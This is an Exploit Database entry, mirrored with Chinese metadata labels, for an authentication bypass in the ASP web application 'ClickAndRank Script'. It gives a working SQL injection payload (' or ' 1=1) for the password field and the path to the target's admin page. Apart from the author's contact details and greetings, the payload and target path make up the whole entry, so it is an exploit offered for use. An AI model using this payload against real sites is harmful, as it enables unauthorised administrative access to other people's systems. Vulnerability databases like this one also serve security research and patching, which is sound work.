ClickAndRank Script – Authentication Bypass

• Exploit Database
• 10 阅读

• 作者： walid
  日期： 2010-07-18
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/14401/

• # Exploit Title: ClickAndRank Script Authentication Bypass
  # Date: [18/07/2010]
  # Author: [walid]
  # Software Link: [null]
  # Version: [null]
  # Tested on: [Windows]
  # CVE: [null]
  
  * Found By: WaLiD
  * E-mail: Rezultas[at]Gmail[Dot]com
  * GreeTZ: [Amine]/[v4-team.com]/[Madjix]
   
  ---------------------------------------------------------
  Vendor: http://www.icash.ch/index.html?ClickAndRank/details.asp
  ---------------------------------------------------------
   
  Exploit Auth Bypass:
  
  login: walid
  passw: ' or ' 1=1
   
  ----------------------------------------------------------
   
  -[!]
  
  Demo :
  http://<site>/index.html?ClickAndRank/admin.asp
   
  ----------------------------------------------------------